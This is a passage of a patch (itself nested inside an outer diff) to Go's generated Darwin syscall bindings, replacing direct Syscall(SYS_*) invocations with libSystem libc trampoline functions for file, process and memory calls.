-@@ -1011,7 +1589,7 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_OPEN, uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_open_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1019,6 +1597,11 @@ func Open(path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_open_trampoline()
-+
-+//go:linkname libc_open libc_open
-+//go:cgo_import_dynamic libc_open open "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
-@@ -1027,7 +1610,7 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall6(SYS_OPENAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_openat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(perm), 0, 0)
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1035,6 +1618,11 @@ func Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error) {
- return
- }
-
-+func libc_openat_trampoline()
-+
-+//go:linkname libc_openat libc_openat
-+//go:cgo_import_dynamic libc_openat openat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pathconf(path string, name int) (val int, err error) {
-@@ -1043,7 +1631,7 @@ func Pathconf(path string, name int) (val int, err error) {
- if err != nil {
- return
- }
-- r0, _, e1 := Syscall(SYS_PATHCONF, uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_pathconf_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1051,6 +1639,11 @@ func Pathconf(path string, name int) (val int, err error) {
- return
- }
-
-+func libc_pathconf_trampoline()
-+
-+//go:linkname libc_pathconf libc_pathconf
-+//go:cgo_import_dynamic libc_pathconf pathconf "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pread(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1060,7 +1653,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pread_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1068,6 +1661,11 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pread_trampoline()
-+
-+//go:linkname libc_pread libc_pread
-+//go:cgo_import_dynamic libc_pread pread "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-@@ -1077,7 +1675,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_pwrite_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1085,6 +1683,11 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- return
- }
-
-+func libc_pwrite_trampoline()
-+
-+//go:linkname libc_pwrite libc_pwrite
-+//go:cgo_import_dynamic libc_pwrite pwrite "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func read(fd int, p []byte) (n int, err error) {
-@@ -1094,7 +1697,7 @@ func read(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1102,6 +1705,11 @@ func read(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_read_trampoline()
-+
-+//go:linkname libc_read libc_read
-+//go:cgo_import_dynamic libc_read read "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlink(path string, buf []byte) (n int, err error) {
-@@ -1116,7 +1724,7 @@ func Readlink(path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_readlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1124,6 +1732,11 @@ func Readlink(path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlink_trampoline()
-+
-+//go:linkname libc_readlink libc_readlink
-+//go:cgo_import_dynamic libc_readlink readlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-@@ -1138,7 +1751,7 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- } else {
- _p1 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_readlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1146,6 +1759,11 @@ func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
- return
- }
-
-+func libc_readlinkat_trampoline()
-+
-+//go:linkname libc_readlinkat libc_readlinkat
-+//go:cgo_import_dynamic libc_readlinkat readlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rename(from string, to string) (err error) {
-@@ -1159,13 +1777,18 @@ func Rename(from string, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rename_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rename_trampoline()
-+
-+//go:linkname libc_rename libc_rename
-+//go:cgo_import_dynamic libc_rename rename "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Renameat(fromfd int, from string, tofd int, to string) (err error) {
-@@ -1179,13 +1802,18 @@ func Renameat(fromfd int, from string, tofd int, to string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_renameat_trampoline), uintptr(fromfd), uintptr(unsafe.Pointer(_p0)), uintptr(tofd), uintptr(unsafe.Pointer(_p1)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_renameat_trampoline()
-+
-+//go:linkname libc_renameat libc_renameat
-+//go:cgo_import_dynamic libc_renameat renameat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Revoke(path string) (err error) {
-@@ -1194,13 +1822,18 @@ func Revoke(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_revoke_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_revoke_trampoline()
-+
-+//go:linkname libc_revoke libc_revoke
-+//go:cgo_import_dynamic libc_revoke revoke "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Rmdir(path string) (err error) {
-@@ -1209,17 +1842,22 @@ func Rmdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_rmdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_rmdir_trampoline()
-+
-+//go:linkname libc_rmdir libc_rmdir
-+//go:cgo_import_dynamic libc_rmdir rmdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-+ r0, r1, e1 := syscall_syscall6(funcPC(libc_lseek_trampoline), uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
- newoffset = int64(int64(r1)<<32 | int64(r0))
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1227,46 +1865,72 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
- return
- }
-
-+func libc_lseek_trampoline()
-+
-+//go:linkname libc_lseek libc_lseek
-+//go:cgo_import_dynamic libc_lseek lseek "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_select_trampoline), uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_select_trampoline()
-+
-+//go:linkname libc_select libc_select
-+//go:cgo_import_dynamic libc_select select "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setegid_trampoline), uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setegid_trampoline()
-+
-+//go:linkname libc_setegid libc_setegid
-+//go:cgo_import_dynamic libc_setegid setegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seteuid(euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_seteuid_trampoline), uintptr(euid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_seteuid_trampoline()
-+
-+//go:linkname libc_seteuid libc_seteuid
-+//go:cgo_import_dynamic libc_seteuid seteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setgid(gid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setgid_trampoline), uintptr(gid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setgid_trampoline()
-+
-+//go:linkname libc_setgid libc_setgid
-+//go:cgo_import_dynamic libc_setgid setgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setlogin(name string) (err error) {
-@@ -1275,77 +1939,112 @@ func Setlogin(name string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SETLOGIN, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setlogin_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setlogin_trampoline()
-+
-+//go:linkname libc_setlogin libc_setlogin
-+//go:cgo_import_dynamic libc_setlogin setlogin "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setpgid_trampoline), uintptr(pid), uintptr(pgid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpgid_trampoline()
-+
-+//go:linkname libc_setpgid libc_setpgid
-+//go:cgo_import_dynamic libc_setpgid setpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-+ _, _, e1 := syscall_syscall(funcPC(libc_setpriority_trampoline), uintptr(which), uintptr(who), uintptr(prio))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setpriority_trampoline()
-+
-+//go:linkname libc_setpriority libc_setpriority
-+//go:cgo_import_dynamic libc_setpriority setpriority "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_setprivexec_trampoline), uintptr(flag), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setprivexec_trampoline()
-+
-+//go:linkname libc_setprivexec libc_setprivexec
-+//go:cgo_import_dynamic libc_setprivexec setprivexec "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setregid_trampoline), uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setregid_trampoline()
-+
-+//go:linkname libc_setregid libc_setregid
-+//go:cgo_import_dynamic libc_setregid setregid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setreuid_trampoline), uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setreuid_trampoline()
-+
-+//go:linkname libc_setreuid libc_setreuid
-+//go:cgo_import_dynamic libc_setreuid setreuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setrlimit(which int, lim *Rlimit) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setrlimit_trampoline), uintptr(which), uintptr(unsafe.Pointer(lim)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_setrlimit_trampoline()
-+
-+//go:linkname libc_setrlimit libc_setrlimit
-+//go:cgo_import_dynamic libc_setrlimit setrlimit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_setsid_trampoline), 0, 0, 0)
- pid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1353,55 +2052,40 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+func libc_setsid_trampoline()
-+
-+//go:linkname libc_setsid libc_setsid
-+//go:cgo_import_dynamic libc_setsid setsid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Settimeofday(tp *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_settimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := syscall_syscall9(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
